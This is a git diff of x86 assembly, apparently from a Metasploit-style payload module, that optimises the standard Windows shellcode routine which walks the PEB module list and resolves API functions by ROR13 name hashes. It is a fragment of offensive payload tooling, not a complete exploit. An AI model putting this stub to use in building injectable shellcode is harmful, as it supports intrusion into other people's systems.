@@ -68,16 +68,15 @@ def prepend_migrate(buf)
68
68
api_call:
69
69
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
70
70
mov ebp, esp ; Create a new stack frame
71
- xor edx, edx ; Zero EDX
72
- mov edx, [fs:edx +48] ; Get a pointer to the PEB
71
+ xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
72
+ mov edx, [fs:eax +48] ; Get a pointer to the PEB
73
73
mov edx, [edx+12] ; Get PEB->Ldr
74
74
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
75
75
next_mod: ;
76
76
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
77
77
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
78
78
xor edi, edi ; Clear EDI which will store the hash of the module name
79
79
loop_modname: ;
80
- xor eax, eax ; Clear EAX
81
80
lodsb ; Read in the next byte of the name
82
81
cmp al, 'a' ; Some versions of Windows use lower case module names
83
82
jl not_lowercase ;
@@ -92,10 +91,10 @@ def prepend_migrate(buf)
92
91
push edi ; Save the current module hash for later
93
92
; Proceed to iterate the export address table
94
93
mov edx, [edx+16] ; Get this modules base address
95
- mov eax , [edx+60] ; Get PE header
94
+ mov ecx , [edx+60] ; Get PE header
96
95
97
96
; use ecx as our EAT pointer here so we can take advantage of jecxz.
98
- mov ecx, [eax +edx+120] ; Get the EAT from the PE header
97
+ mov ecx, [ecx +edx+120] ; Get the EAT from the PE header
99
98
jecxz get_next_mod1 ; If no EAT present, process the next module
100
99
add ecx, edx ; Add the modules base address
101
100
push ecx ; Save the current modules EAT
@@ -113,7 +112,6 @@ def prepend_migrate(buf)
113
112
xor edi, edi ; Clear EDI which will store the hash of the function name
114
113
; And compare it to the one we want
115
114
loop_funcname: ;
116
- xor eax, eax ; Clear EAX
117
115
lodsb ; Read in the next byte of the ASCII function name
118
116
ror edi, 13 ; Rotate right our hash value
119
117
add edi, eax ; Add the next byte of the name
@@ -145,7 +143,7 @@ def prepend_migrate(buf)
145
143
; We now automagically return to the correct caller...
146
144
147
145
get_next_mod: ;
148
- pop eax ; Pop off the current (now the previous) modules EAT
146
+ pop edi ; Pop off the current (now the previous) modules EAT
149
147
get_next_mod1: ;
150
148
pop edi ; Pop off the current (now the previous) modules hash
151
149
pop edx ; Restore our position in the module list
0 commit comments